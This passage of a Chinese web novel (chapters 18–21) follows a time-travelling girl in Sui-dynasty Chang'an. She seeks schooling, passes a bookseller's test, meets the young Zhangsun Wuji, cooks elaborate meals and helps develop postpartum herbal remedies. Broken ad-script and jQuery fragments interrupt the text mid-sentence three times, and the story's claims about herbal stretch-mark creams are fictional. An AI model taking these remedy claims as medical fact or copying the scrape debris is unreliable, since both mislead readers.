然还未行至,郑妈妈就已让车夫打道回府了。 这尼姑庵也太偏僻了,莫婤身为高府娇客,深受高夫人重视,高府中还有一大摊事等她,自无法长期居庵堂内。 更何况,一名稚□□童独寄宿于尼姑庵中,难免引人生疑,安全顾虑亦不容忽视。 莫婤也想到了现代关于寺庙鬼怪之说,她都能穿越了,也不知有无魑魅魍魉,还是不轻易挑战自己认知底线为好。 两处都无功而返,莫婤犯难了,难道最终还是得去高府族学? 18.烤猪脑花 冬日薄暮,斜阳微醺。 因没寻着心仪的私塾,返城路上,莫婤怏怏不乐。 马车帘轻揭,心神恍惚,目送坊间熙熙攘攘,筹谋如何破此困局。 现正值私塾、太学和国子监课毕,宣阳坊朱雀大街上挤满了马车,堵得密密层层。 见下学穿梭其间、结伴而行、谈笑风生者,皆为男子,莫婤更觉憋闷。 也不等着排队通行了,让马夫绕小路,躲了他们去,眼不见心不烦。 七拐八拐,进了通义门街文萃巷,巷尾栽了一株桂树,树干粗壮,树冠庞大,瞧着有几十年了。 车马将拐弯行过,莫婤方瞧见桂树后,竟还有家书肆。 这门脸都被树干挡得严严实实,难道是“酒香不怕巷子深”? 莫婤起了兴趣,让马夫驻车,欲入内一探究竟。 书肆的门是上好的楠木,松柏图纹雕镌其上,门环铜绿斑驳,门楣上虽只写着“书肆”,却笔力遒劲,豪迈洒脱。 门半掩着,推开,墨香与书香氤氲间,还有淡淡檀香浮动。 屋内格局紧凑却雅致,顶天立地的书架隔出三条,仅容一人通过的羊肠小道。 铺子正中还有三张方正榆木桌,摆着一方砚台并几只毛笔,应是供顾客翻阅抄录的。 墙上几幅书画错落有致,似在书肆里低语、对话。 收钱的柜房旁,临窗摆了张躺椅,一位鹅蛋脸美人正仰面,滚着竹简。 瞥见莫婤一行人探步进来,放下书卷,也未招呼,就这般淡淡地看着。 难得瞧见女店主,莫婤亦细细打量起她来。 女店主约莫双十年华,着桂黄齐胸襦裙,仅领口袖边勾了几朵黄梅点缀,外罩一层莺儿黄薄纱。 长发由一根羊脂玉簪随意挽起,额前还点着一颗朱砂痣,其艳丽却被她周身气质压下。 莫婤仿佛看到一幅古典仕女图,真切感受到了腹有诗书气自华。 观其气质打扮,又念其在宣阳坊开书肆,莫婤上前询问,可知何处有收女子的私塾。 女店主见郑妈妈、秋塘等人穿着行事,已明晰其出自大户人家,只是这问话的小小姐,穿着也太普通了些。 她以为又是换着花样来套近乎的,不愿多做纠缠,直言:“你等家世,延请西席即可,此间哪有收女子的私塾。” 也不怪女店主认错,莫婤人虽小,还身着朴素,但言谈举止间从容不迫,自信之姿在高府一行人中,便显出与众不同来。 莫婤听罢垂下眼帘,失落之情溢于言表,原本朝气蓬勃的包子脸瞬间蒙上了一层灰暗,如明珠蒙尘。 似没想到她变脸如此之快,女店主无措道:“你若敢在我书肆哭,我就赶你出去。” “不至于此,只是没钱请西席,又没私塾上,有些低落罢。”莫婤仰面,脸上又换了淡笑,只抬起的双眸盛满失望。 她已在心中盘算,要几年的分红,才能延请西席。 闻及,女店主见此时上前揽住莫婤的女子,同她有六七分相似,皆是平常人家穿着,便知自己猜错了。 见莫婤故作轻松之态,女店主有些愧疚,却还是没忍住,心直口快:“不想笑就别笑,丑死了。” 好久没遇上说话这般直接,却满怀好意之人了,莫婤有些呆愣,面上却带出些亲近,这人好像她前世小姑。 小姑比她大不了多少,却一直担心照顾着她,她在父母家中受了欺负,先是被小姑骂一通,再带她去找回场子。 她如今这般性格多是被小姑培养锻炼出来的,毕竟小时家中人总说她是个面团,最是能忍。 女店主见莫婤竟不怪自己说话难听,亦觉她和眼缘,遂问道:“真想上学?” 莫婤闻言,眸光熠熠生辉,宛若晨曦初破云雾,欣喜难抑道:“真有?尼姑庵我可不去,高门大户的女学我也不去,我不当小跟班。” “要求还挺多。” 女店主见莫婤这般说,知她是真心求学,已打听了这么多,遂道: “你若信得过我,我可当你老师,不纳束脩,只需每日午后帮我打理书肆,我亦会在此间教你些诗书经文。” 还不等莫婤应下,又复言: “但你得先通过我的考验。你也瞧见了,这般多的书,我不耐烦整理,都任意放着,来人自己找想要的。 你需三日内将其厘清,且找每本书的时辰不得多余十息。” 莫婤思索片刻,应了下来,随后一行人动身回了高府。 待她们走后,书肆角落走出一翩翩少年,约莫十一二岁。 棱角分明的脸上,眉眼如画,双眸宛若夜空星辰闪烁,鼻梁高挺,竟显英气,通身还带着清冷贵气。 身着一件青色圆领袍,袍身是上等丝绸,绣有云纹图案;腰间系着一条玉带,镶嵌着几枚玉佩。 足踏一双黑丝履,履底轻薄,行走无声,举止泰然自若。 “她以后就是我弟子了,你每次都避着?长孙家也就你这般讲究。”店主调笑道。 这小娃越大越守礼,都怕他成个老古板,总想逗他变脸。 “到时我们是同门,自是不必。”长孙无忌气定神闲,继续说道,“我阿耶也常言我与众不同。” “与众不同?他骂你是异类,你只捡自己认同的听。”店主直言不讳,专戳他心。 “我武学一般,阿耶气也有理,但我自知擅文也无错,总归要大逆不道了,让他骂又何妨?”长孙无忌淡然说道,小小年纪,却已见成熟洒脱之态。 “你这武练得够好了,是你耶耶过于严苛了! 况且擅文有何不好,待天下安定,文必成主流,你家一屋子大老粗,还不珍惜你这独苗。” 店主一脸不屑,不愿再提此事,窝回躺椅捧卷。 长孙无忌亦不想再同她争论,他阿耶还是读过几本书,胸中有点墨的,遂走回角落窗前,席地而坐,继续翻书。 莫家母女回了高府,同夫人报平安后,去了大厨房。 俗话说,吃哪补哪,念及莫婤要用脑破题,莫母用份例换了两个猪脑花和一把菠菜。 莫婤想烤脑花,央了莫母用剔牙竹签,挑了脑花上的血丝。 她用院角剩下的火砖,搭了个四四方方的简易灶。 将脑花加入料酒、姜片去腥,再切成两半,倒入花椒粉、胡椒粉、茴香桂皮等草果粉腌入味。 又翻出前些时日托赵妈妈打的大铁片,烤烫后,融了油,撤些火,将腌好的脑花放上去慢慢烤。 时不时用木箸翻动两下,脑花外焦里嫩,烤熟后,再撒把葱花、芫荽、白芝麻,香气扑鼻。 院中风一吹,连隔壁从不多事的王妈妈,都探出头瞧。 楼上的庞大娘亦推开了窗,她临窗的马大娘一面吸着鼻子吃香气,一面侃道:“你也馋,咋不让她们匀你一勺?你们不是关系好吗?” “我没你不要脸,说不出口。”庞大娘骂完,砰地闭了窗。 被扇了一脸风的马大娘,撇撇嘴也合上窗,还用粗布将窗户缝都堵上了,这香味太霸道了,勾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的她心痒难耐。 莫母还用火炉子炖了羊蝎子,其汤下了锅银丝面,还烫了碗菠菜爽口。 莫氏母女正烤着猪脑花,吸着银丝面;那边高夫人亦用了晚膳,正问郑妈妈今日出府诸事。 郑妈妈先是一五一十说了在柳府的遭遇,她并未添油加醋,毕竟柳千金所作所为足以让人生厌。 高夫人听罢果真恼了,她没有闺女,莫婤贴心又聪慧,还多次为她解难,这些时日的相处,她早将之当作小辈怜爱,从未呵斥过。 现今竟在柳府受了气,还不能发,而且莫母救过柳氏和现今是柳家独苗的小儿的命。 她知柳氏在宅中艰难,婆母强势,总被拿捏,但眼见着孩子都被教坏了,她真该立起来了。 高夫人一面恨莫婤被辱,一面怒手帕交不争气,头都有些疼了。 “夫人暂且歇了火吧。” 见高夫人愠色渐浓,早上被她劝过的周妈妈,还反过来劝她, “这柳千金也不知被何人带的这般眼皮子浅显,不过都是些先敬罗衣后敬人的作态,夫人多给小婤做些好衣裳,再赏些首饰,此事也就了了。” 屋中众丫鬟婆子俱是点头,她们瞧莫氏母女平日间穿得也太普通了些,也是跟夫人时日短了,她们这些老人,谁不是十多套拿得出手的衣物配饰。 高夫人听罢,频颔首赞同。 遂让忆梅去她装陪嫁的库房“宝锦阁”找些适合莫氏母女的首饰,又让杏雏去日常所需的“琳琅库”找些名贵的绸缎,明日一道赏了她们去。 说完此事,郑妈妈又言及书肆求学之事。 详述那书肆位置、店主模样,便于高夫人打听,可不能让奸人将小莫婤哄了去,带坏了。 于是,高夫人夜间又留了高大人片刻,同他说了这事,让其尽快探询一番。 此事,高大人都不用打听,当即给出了答案。 他也没料到,这小女娃还有这般运道。 此间书肆虽不起眼,但店主却有一个很有名的弟弟王通。 据说王通在十五岁时就开私塾,经验颇丰。 隋文帝仁寿三年(603)考中秀西游长安,见隋文帝,奏上《太平十二策》、主张“尊王道,推霸略,稽古验今,运天下于指掌。”深得文帝赞赏①。 天下文人皆求拜,愿成为他的门生。 王郎有一胞姐名唤王舒,姐弟情深,相依为命。 及长,王舒择婿于恩师弟子,为能有个读书、论道之处,遂开了家书肆。 奈何时人多慕虚名,趋炎附势,意欲借王舒之名,攀附其弟,以求仕途坦荡,并不是真心论道。 她不厌其扰,便将书肆迁到了巷尾,还用一颗巨树挡了门脸,只图清净。 王通闻讯,亦放出话来,若再有扰攘者,终生拒之门外,绝不纳为门下弟子。 也是莫婤初生牛犊不怕虎,直接询问私塾,又因她的确不认识王姐,反而因祸得福,得其青睐。 但最终能不能成,还要看她能否通过考验。 王通与姊师出同门,学识渊博,若得拜她为师,于莫婤而言,堪称良师。 毕竟无论是关陇勋贵,还是山东、江南士族之后,皆欲延请王舒为西席,但她不愿替弟站队,都以嫁作人妇为由,拒绝了。 高夫人闻之,心绪稍安,言莫婤所至,无难不破,她定能通过考验,成为王舒弟子。 发现书肆,乃其福缘。 能把握时机,勇往直前,通过考验,方能将此份福缘握住啊! 19.初相见 “砰砰砰——” 夜半,莫婤正睡得熟,房门忽被敲起。 “顺娘,夫人急找。”门外是张妈妈的喊声。 莫母先开门,交谈了几句,同里间的莫婤交代后,急匆匆地去了。 莫婤正困着,听得不真切,只隐约记得莫母又被喊去救急了。 翌日醒来,莫母还没回。 昨夜炭盆不知何时熄了,莫婤的脸冻得有些皲了。 抹了那日用羊脑花制的油膏,将自己收拾好后,去了夫人的房中。 高夫人只说了莫母去帮忙,算不上挑大梁,让莫婤安心,就又给了赏。 杏雏领着两个小丫鬟,抬了个棉香木匣,里面还散着些檀香木、樟木片、桂皮。 黄花梨的木匣里叠满了名贵的布料,约莫六七匹,媚蝶妆花缎、挼蓝雨丝锦、丁香软烟罗、缥碧交织绫…… 还没点完布,忆梅又捧着个百宝如意妆匣进来了。 里头都是夫人未出阁时的首饰,挑了几件还算时新花样的给莫婤。 高夫人说都是些小巧精致,不打眼的玩意,让她戴着顽。 莫婤一看,猫眼石的坠子、金丝绞的镯子、镶了南珠的簪子,七彩琉璃点缀的步摇…… 各类绢花、簪花、花钿足足摆了一层,甚至还有一块和田玉如意佩压襟。 给莫母的首饰则更大气些,虽不过三五件,却着实贵重,珍珠玲珑八宝簪、白玉蝠纹翡翠手镯、紫玉芙蓉耳坠…… 莫婤知高夫人定是昨日受刺激了,也不多推脱,只说今后定收拾妥当再出门,绝不丢了府中的脸面。 见她这般识趣,高夫人面色更好了些,大手一挥,又给了几件杂毛狐裘。 领完赏,东西都堆在屋角,莫婤又言及午后要出门,帮着整理书肆,看能不能拜成师。 知王舒的来历,高夫人自是鼎力支持,但未详述王舒背景,怕她失了平常心,只暗示其为良师。 见此,莫婤也知自己赌对了,亦未多问,只为求学,旁的她也懒得计较。 高夫人还将下人院旁角门的钥匙,给了莫婤一把,言明她可自由出入,还遣了两个小丫鬟,抬了木匣送她回了下人院。 屋内燃了松香,莫母正窝在罗汉床上补觉。 莫婤轻手轻脚领了午食,盛出些给莫母温在火炉子上,自己打了个小盹后,方出了门。 虽宣阳坊临着平康坊,但莫婤腿短,又想省铜板,不愿雇马车,遂还是要走上小半个时辰。 一出门,才穿了几条巷子,便觉有人跟着她,遂加快了脚步。 刚跑到街边,就拥上来一流浪汉,头发凌乱,还光着膀子。 莫婤仗着人小,身子灵活,东窜西钻,一溜烟躲进人群,甩掉了他。 刚离开平康坊,穿过一个熙熙攘攘的集市时,莫婤又被各式各样的新鲜玩意迷了眼。 绒绒丝线、彩釉瓷瓶、精致铜镜、犀角杯、珊瑚枝…… 掏钱选了几样,不知不觉中,竟花出去一贯钱,比雇马车钱还多。 将入宣阳坊时,路过一家酒馆,她又被一酒鬼缠上了。 莫婤捡起路边的木棍打他,但她力气小,酒鬼直接将她手中的木棍夺了去,伸手来抓她。 她用吴娘子教她的防身术,给这酒鬼来了个过肩摔。 但喝醉的人,似感觉不到疼,他翻身起来继续纠缠。 莫婤只好心疼地掏出刚买的胡椒粉,糊了他的眼。 霎时,酒鬼双目刺痛,泪流不止,还一直打喷嚏。 莫婤径直往前走了两步,还觉不解气,又用藏在袖口里的飞镖,给这酒鬼的臭手雕了花,方跑进了宣阳坊。 吴姐姐给的飞镖开了刃,她出门前特地带上防身,没成想还真用得上。 大隋刻板影响再+1。 暗处,跟着莫婤的一行人亦松了口气,纷纷赏了最前头的人一个白眼。 原是昨晚突发接生,莫母累了整夜,知莫婤定会独自前往宣阳坊,一早回府便先求了吴娘子。 吴娘子正训练新女护卫,便将暗中保护莫婤作为课业,分队轮值。 一路相随,需做到无声无息,既保其安,又不露行藏。 沿途景致、人事,皆需铭记于心,以砺其观察与耐心。 因着今儿是头一遭,被莫婤察觉了。 方才露马脚之人又见酒鬼纠缠,还沉不住气,险些暴露整队人。 念其也是救人心切,吴娘子放了她一马。 理了理衣裳,莫婤还在井边打了桶水,浣手濯面。又拿出新买的铜镜照着,重新扎了两个花苞头。 路过一家羊酪铺子,还要了碗羊奶喝,歇了口气,方进了书肆。 目睹她安然抵达,暗中的护卫们终是舒了口气,这一路她们比莫婤更紧张,又怕她遇险,又怕暴露己身。 吴娘子亦擦了把额头急出的汗,下决心要多教她些防身术。 书肆内,店主仍窝在躺椅上捧卷。 见莫婤到了,让其唤她王姨,便将她丢给了书肆的小厮,并言明:“除搬书攀高让他们做外,其余皆由你自己规划。” 莫婤凝眸细察架上琳琅,虽繁杂难辨,但大体循隋朝惯用的“四部分类法”,将书分为经、史、子、集四大类①。 偶或数帙偏离常规,错落无章,她偕小厮合力纠偏,使之各归其位。 原本欲援首字母排序法,梳理书目,但念及难以同王娘子解释,便想出首字笔划排序。 更虑顾客索求某位鸿儒全集,莫婤遂遍览群籍,辑录著者名录,详注每位先生著作清单,并以首字笔划为准,编纂成帙,以便检索查阅。 自莫婤着手此事始,王娘子便饶有兴致观之。 其实这活不难,考验的就是莫婤的心性。现目睹她除心性外,还行事条理分明,布局严谨。 王娘子愈发满意了,直叹自己有眼光,随便一捞就是个好弟子。 但当看到她踏上高凳,在钱柜上,像模像样地举起毛笔,写下一个狗爬的字时,王娘子彻底坐不住了。 夺过她手中的笔,在她花猫的脸上,又添了几道猫胡子,方对她说道:“你说,我写。” 莫婤也不恼,亦懒得去洗了,反正未施粉黛,正事更重要。 于是,长孙无忌进来就瞧见了一只趴在王娘子旁,眼睛亮亮的小花猫,他脸上勾起一道不自觉的笑。 这笑容,恰巧被抬头的王娘子瞧见了,她亦仔细端详了莫婤的花脸。 “噗嗤——” 王娘子没忍住,笑出来声,见莫婤一脸“你嘲笑我”的控诉表情,忙对长孙无忌道: “这是你小师妹,快带她去拾掇爽利。” 怕长孙无忌推脱,王娘子直接用昨日他所言的“同门”之理堵他。 无忌并未推诿,将莫婤从椅子上牵下来,用井水浸湿帕子,给她擦了手和脸。 颜控的莫婤,自是配合着漂亮的小哥哥仰面抬手,但心中还在惊喜,好像拜师十拿九稳了? 因而,当长孙无忌擦净她的脸后,撞入他眼帘的,就是一张明媚的笑颜。 他遂敛下目光,似是不敢直视太阳。 那边莫婤已大方地做起了自我介绍:“我是王姨的准弟子,莫婤, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你可叫我婤婤。” “我是你的准师兄,长孙无忌,你可唤我无忌哥哥。” 长孙无忌!!! 少年的一个通名报姓,要将莫婤砸晕了。 她继续确认:“你父亲是长孙晟,那个一箭双雕的长孙晟?” 见莫婤这般崇拜他父的英勇,长孙无忌心中泛起淡淡涩意。 遂点头,不再多言。 沉浸在震惊中的莫婤,自是没空理会少年人的心情。 凌烟阁第一元勋 唐太宗最信任的大臣 唐高宗帝位的拥立者 就这般水灵灵地站在她面前,让她叫无忌哥哥! 这对她这个见过最大的官就是院长的人,是多么大的冲击啊。 她呆愣在原地,头脑风暴中,一脸怀疑人生的震惊样,像炸毛的美英猫,歪着头思考,煞是可爱。 原本心情有些低落的长孙无忌,见此,不知为何没忍住,掐了把她的小胖脸,心情又好了起来。 莫名被捏的莫婤终是回过神来,呐呐问道:“哥哥有小名吗?” 让她叫无忌哥哥,她浑身发麻。 “那我们交换。”长孙无忌一幅很好说话的样子,却一点亏都不肯吃。 “那就叫无忌哥哥!”莫婤差点被美色迷了心,说了小名。 她小名太难听了,才不想说出来被笑话呢! 忽悠完莫婤后,无忌又牵着她回了书肆,同她一道分书。 每当触及莫婤感兴趣的典籍,无忌便会驻足细讲,将该书的历史渊源、著者生平等娓娓道来,耐心又专注。 随着一页页翻阅,一段段讲解,那份因“长孙无忌”这四个字而生的疏离感悄然隐退。 眼前这位翩翩少年,不再是史册上的一个遥远存在,而是活生生站在她面前,温润如玉,学识渊博的君子。 茶香袅袅,书页沙沙。 恍惚间,蝉鸣渐歇,落日余晖铺满了整片天际。 莫婤同王娘子、长孙无忌告辞后,家去了。 行不过顷刻,蓦然回首,只见长孙无忌缓步随行。 “无忌哥哥,我们同路?”莫婤眸蕴好奇地问。 长孙无忌颔首微点,未多言。 直至将莫婤送入平康坊人声鼎沸处,见她满目疑云,终一揖告退。 莫婤觉得奇怪,但想不通,便不想了。 天大地大,吃饭最大。 她一头冲进了屋内,莫母正用火炉子热着晚食,见莫婤回来后,方摆开。 一盘儿醋赤蟹,一碟儿间笋蒸鹅,一碗糟黄芽,一盆韭花茄儿。 接生回来的路上,莫母还切了盘桂花婶家的八糙盐鸭。 蒸笼下煮了一锅菘菜豚肉角儿,就是白菜猪肉饺子。 蘸着醋,醋里还榨了两颗茱萸,莫婤饱得直打嗝。 帮着莫母洗盏涤器,擦净手,还未等到讲八卦的庞大娘,就被吴娘子提到了院子里。 教了她一个时辰的防身术,还告知今后每日都教她一小时的武,晨起还要同她慢跑。 早就想学武的莫婤,自无不应。只是有些狐疑,吴姐姐为何是今日提出。 吴娘子知她疑惑,也没为其解答,若知有人保护,会习惯依赖,但她可护不了她一辈子。 而今早被莫婤察觉的女护卫,黄昏又被长孙无忌逮到。 幸而吴娘子曾在高府见过长孙无忌,知其来历,他武学天赋,虽不及其父,却亦高于常人。 女护卫又逃过一劫,没被淘汰。 只是方才被抬去了医馆,也不知长孙无忌有没有下重手。 20.土灶开火 尘埃满面,步履蹒跚归家,推门入室。 只见莫母安然坐定于那素色屏风之后,手中银针穿梭,绣着短襦。 火炉子上,正烧着一豁口陶罐,闷了半瓮滚水。 “阿娘,庞大娘没来?” 自从跟庞大娘熟识后,她就成了莫母的八卦搭子,每晚两人都要端个绣筐,东家长西家短。 莫婤无事时,也爱尖起耳朵听,谁不喜欢凑热闹? “今儿说是不来了。这两日忙着找人,你庞大娘都上火了。” 莫母摇头苦笑,想起自己招人也不算顺利,亦有些头痛。 莫婤走近炉火,自陶罐中舀取几勺滚水,与冷水调和,冲了澡。 闻莫母发愁叹气,遂问道“府中这般多伶俐的丫鬟,还不好找?” 对此,莫母娓娓道来其中曲折。 夫人亲自选拔,引来众多府内佼佼者争相献艺,唯恐失宠。 庞大娘为此焦头烂额,不仅要面对众丫鬟的殷勤示好,还得应对诸多姨娘们的轮番试探。 压力山大之下,白发生得愈发茂盛。 莫母又念叨着,上了年纪的药婆陋习难改,年轻的医女又看不上这份工。 “要不我们招学徒?”莫婤同莫母支招,“找些手脚麻利的,这活也不难,我们教的更衷心。” 此言一出,莫母眼前一亮,深以为然,决定翌日便外出探访,寻找合适人选。 待正事商榷完毕,莫婤又追问起莫母昨晚接生之事。 原来,是高大人的顶头上司,在退朝之后,神色匆遽地奔回府邸。 恰逢年末官场考核之际,高大人正欲借此机会博取上司欢心。 目睹其神情焦虑,顿生疑窦,遂遣人打听缘由。 得知是其夫人生孩子,原本也未在意,但与同僚吃酒到半夜,竟听闻上司夫人难产了。 此时,高大人便想到了莫母,让她去刷个脸熟,展现下属对上司的关切。 有法子帮最好,无法也别揽活上身。 明哲保身莫母自是懂,但奈何技术过硬,一下子就又立了大功。 莫婤见莫母说得这般理所当然,心里直痒痒,她真的想同莫母学接生啊! 见她燃了兴,莫母收了话,不愿再说,赶莫婤回了小间自己顽。 莫婤抱着书录,背着背着,就进入了梦乡。 三日后,她通了王舒的考验。 此时,家中的土灶也终于晾好了。 莫母直接在大厨房另出铜钱定了只四斤重的乌鸡、一条两斤的带鱼,还拿出来了最后的腊肠、腊肉请了庞大娘、吴娘子、晚娘午食一道来热锅。 庞大娘提了道肥瘦相间的五花肉加菜,吴娘子扛了坛青梅子酒。 跟在吴娘子后头的晚娘,还送了一对京绣枕衣。 自陶氏母女被送走,晚娘又被授予负责绣娘的重任,也不社恐了,日日往各大绣坊跑,都快成谈判专家了。 莫母先将鸡开膛破肚,拆了鸡架煨汤,还放了捆竹荪。 又从泡菜坛子里抓了把酸茱萸,炒了鸡杂。 鸡胸脯上的肉,撕成丝,做了道丝鸡冷淘,就是鸡丝凉面,余下的还烧了盆芋儿鸡。 还做了一碟干炸带鱼、一钵煑炙烧肉、一盘韭黄炒腊肉,一盆凉拌萝卜丝、一盅菠菜豆腐。 将腊肠、腊肉洗净,放入石锅,闷了腊肉饭。 从庞大娘家抬了张木桌,众人围坐着吃得喷香,吴娘子还倒了几圈梅子酒,连莫婤都尝到一筷子尖。 酒足饭饱后,大家不自觉开始八卦。 庞大娘最先开启诉苦大会。 一会是庄姨娘主动提出,要放了她的大丫鬟来帮忙;一会是金姨娘说她娘家还有些伶俐丫鬟,非要庞大娘买了去。 刘姨娘的丫鬟主意最大,为了来,甚至同姨娘闹的不可开交。 最离谱的还要数张姨娘,哭着求高大人,让她在夫人铺子里投些钱。 高大人虽疼爱张姨娘,但更尊重夫人,当即将她撅了回去,这几日都没去瞧过张姨娘。 姨娘派人来请不去,亲自来求也不见。 “我说这人啊,心可不能忒大!”庞大娘说到此,不屑道。 “她这般,夫人没治她?”莫母不解地问。 “怎么没治啊,又断了她两月的月钱。”庞大娘一脸辛秘地问:“她背景你们都知道些吧?” 见众人皆点点头,方继续说: “她逃荒来的,哪有银钱,当日被抬做姨娘,通身只有夫人赏赐的首饰、衣物。 大人从不理这些俗物,府中用物都有定数,她又喜好打肿脸充胖子,每月都过得紧巴巴的。 现在还有了个孩子,虽收了一些红封,但这一两月过去了,约莫也不多了,这才想在夫人铺子里捞点。” “她有三分利的本钱?”莫婤搞不懂了,按庞大娘这说法,张姨娘哪存的下钱。 “空手套白狼呗。”吴娘子竟也是个爱吃瓜的,迫不及待地抢着回答。 庞大娘一脸孺子可教,肯定了吴娘子的话。 “治她这般容易,那夫人为何任其嚣张?”吴娘子接着发问。 院中众人皆不说话了,连莫婤都垂下了眼帘。 她隐约猜到了,但这需要时间来验证。 这般看来,就算是古代女子,嫁得再好,也不如手中有钱啊,不然处处受人桎梏。 莫婤一面数着手中还剩多少碎银,一面盘算该找个什么法子挣快钱。 毕竟,就算产后用品店开起来了,分利也是明年的事了,她要留着日后开接生馆,现今手中能使的钱不多了。 见众人都答不出她的问题,吴娘子欲继续追问。 晚娘一把捂了她的嘴,与她耳语了两句,她方消停下来。 如果庞大娘这边算文斗,那吴娘子那边就是武打了。 都是些习武多年之人,皆有傲气,谁也不服谁。 也不是吴娘子求她们来的,却要吴娘子将她们一一撂倒后才配合。 吴娘子这些日子不是劝架,就是干架。 表面端着女侠客的潇洒淡定,束腰长袍下是青一块紫一块的悲惨经历。 说到这,吴娘子欲再向莫母讨瓶药酒。 见有这般好的人体,莫母自是没放过,掀开吴娘子的袍子就为她上起药来。 每种新泡的药酒都使了个遍,观察哪瓶疗效最好。 莫婤躲在一旁偷学手法,一转头,见晚娘也直勾勾地盯着,看得起劲。 院子中,一人按,一人叫,两人偷学,一人笑。 试出疗效最好的那瓶,莫母直接将其给了吴娘子,算是她配合的劳碌费了。 送走庞大娘一行人,莫婤便着手准备拜师礼。 虽王舒言不收莫婤束脩,但拜师礼是不能少的,也不求贵重,只表心意,便想着做些猪肉脯。 莫婤揣着铜钥匙,背着个藤篓,开了角门,溜到了李胖子肉铺,捡了三五块猪脊肉。 翻出莫母的剔骨刀,刮了筋膜,切成薄片。 腌上豆豉、糖盐、胡椒粉、桂平、丁香等后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,又晾了半日。 这半日里,还挎着背篓,在东跨院捡了一圈的果木。 用果木烤烫铁盘,放上晾晒过的薄肉片。 翻了烤,烤了翻,直到表面成了层脆皮,内里熟透了,还熏上了果木香。 刷上一层蜂蜜,封入了瓷罐中,这瓷罐还是找赵妈妈寻的。 府中多得是扔着没用的白瓷罐,求赵妈妈行个方便,写了批条,选了个没瑕疵的新白瓷罐。 一罐装不下,莫母扯了张桑皮纸将剩下的都包上,裹了红布,还添上两个香囊。 香囊里头装的是上好的药材,名贵又好闻,很是拿得出手。 王娘子收了,当即就挂上了香囊,将猪肉脯藏进了钱柜深处。 却还是被长孙无忌找到,他打着亦替她带了几日学生的名义,拆了红布,将桑皮纸包着的零散猪肉脯抢走了。 待王娘子尝过猪肉脯后,捶胸顿足,怪自己没将肉脯藏得再好些。 这边师父在追悔莫及,那边弟子在胆战心惊。 起因,还是高夫人邀莫婤一道,选产后用品铺的伙计。 打头的是成衣铺总管,易主事。 易主事,面长颐,发髻高绾,梳得一丝不苟,用白玉簪固定,簪头还是铜钱样式。 上衣是一件裁剪合体的对襟襦衫,袖口和领口处还滚了金边。 原是让其推选三个掌柜,高夫人同莫婤择其二。 但易主事带进来了五人,为难地解释这五人能力品行皆具佳,实在寻不出优劣。 高夫人听罢,让她出去等信,对五人丢了一堆问题。 “不用尺量,你能否估算客人腹围和胸围?” “一件胸托,布料成本十五文,人工二文,目标群体是谁,定价几何?” “面对效果不明显的产品,你如何规避用后闹事者。” …… 听罢她们所有人的回答,高夫人挑出三个,又让莫婤再出问题。 霎时间,屋内的掌柜都望了过来,各个板着个严肃脸。 莫婤可是被主任、上级医生盯着接生的,这点子威压还不足以给她下马威。 她眉都没蹙一下,眼都不眨地丢出了一个问题。 “若试衣服时,随行的孩童哭泣或喧闹了,该如何?” “让奶娘下人哄。”蛋脸杏眸,柳眉弯弯的穆掌柜率先开口。 “哄不好呢?” “找一个安静之处,安抚孩子。”梳着翻荷髻,插着金镶玉钗的樊掌柜,接着说。 “这过程中,如何保证客人不会流失?” “给他玩物。”额贴梅花钿,两颊点面靥的叶掌柜,迟疑说道。 “他小到不会玩呢?” …… 一番追问反问后,莫婤同高夫人商量后,选了叶掌柜和樊掌柜。 因后续选的人皆为她们手下,遂让她们留下一道挑。 第二批进来的,是晚娘挑的绣娘们。 除开晚娘,另有四人,每人负责一个版块。 她们每人手下还有三四个学徒,也是收腹带、胸托等物简单,铺子也小,不然纯手工,这点人是不够的。 高夫人和两位掌柜对刺绣还算略懂,莫婤是根本一窍不通。 但此事高夫人一早便言明交由晚娘负责,只简单认过人,知道名字及负责的版块后,众人俱未多言。 还是晚娘又问了问莫婤这个原创者的想法。 莫婤对长安城时新花样了解甚少,只同她们又讨论了些舒适度的改良,便作罢。 21.朱雀祛纹膏 随后,莫母领着她新招揽的人入内。 一行七人,莫母,两名医女,四个药童。 莫母同两位医女手中,皆捧着一忍冬纹漆木桐匣,匣上还镶了个铜钱式锁扣。 轻启匣盖,莫母匣里是个白瓷大肚瓶,装的是莫氏母女改良的,祛除妊娠纹的药膏。 先前的药油,只是在杏仁油中加了些中药材。 有美白消炎的白芷、利水保湿的茯苓、增强皮肤弹性的熟地黄……① 还有其他减少疤痕和妊娠纹的药材,如当归、桂枝、枸杞子等。 前些时日,莫婤同莫母一道去挑人时,竟在一药婆的背篓里发现了新鲜的连钱草,就是积雪草。 积雪草对促进创口愈合、抗皮肤瘢痕形成以及抗炎等有上佳的效用②。 莫婤当即买了下来,对药油进行了改良。 将连钱草洗净,除去杂质后,置于阴凉通风处晾干。 加入当归、白芷、熟地黄等药材后,用陶瓷碾子研磨成细腻粉末,还用筛子过了三遍。 又让赵妈妈挑了些上等的杏仁,在街头余老板的油铺榨了杏仁油。 用铜锅温了油,一面倒药粉,一面搅拌,文火熬了一刻钟。 估摸着连钱草的活性成分已融入油中后,撤了火,加入蜂蜜。 蜂蜜还是同卖狼心狗肺那家猎户买的野蜂蜜,因是老顾客,还便宜了赵妈妈十来个铜板。 搅拌均匀,晾后就得了罐深红棕色的药膏,莫婤取名为“朱雀祛纹膏”。 高夫人试过后,本就淡的妊娠纹,没几日就消散不见了。 半信半疑的高大人,讨了罐送给顶头上司。 前两日,主官甚至问及他在哪儿买的,又要了两罐去。 高夫人自是知道“朱雀祛纹膏”,同两位掌柜炫耀了几句,又换了医女献宝。 先上前的是毕医女,她梳朝云近香髻,着碧滋色襦裙,献上了热敷药包“太乙舒腰袋”。 腰袋内是艾叶、桂枝、红花、独活、牛膝、白芷、姜片等药材制成的药包,煮热后垫于腰后,能缓解产后腰疼①。 高夫人听罢,立刻让杏雏煮了去,她坐了好一会,腰正酸得紧。 没等杏雏走出去,便被簪着金铜杂花的秦医女叫住,献上了“清腰汤”③。 此汤与“太乙舒腰袋”同效,外敷内服,疗效更好。 高夫人闻及连连称她们有巧思,善发现。 而真正发现高夫人腰不适,从而协助两位医女研发出的莫婤,深藏功与名。 看完医女,莫母又让药童们,为高夫人展示了碾药、融油、装罐等手艺,高夫人无不称好。 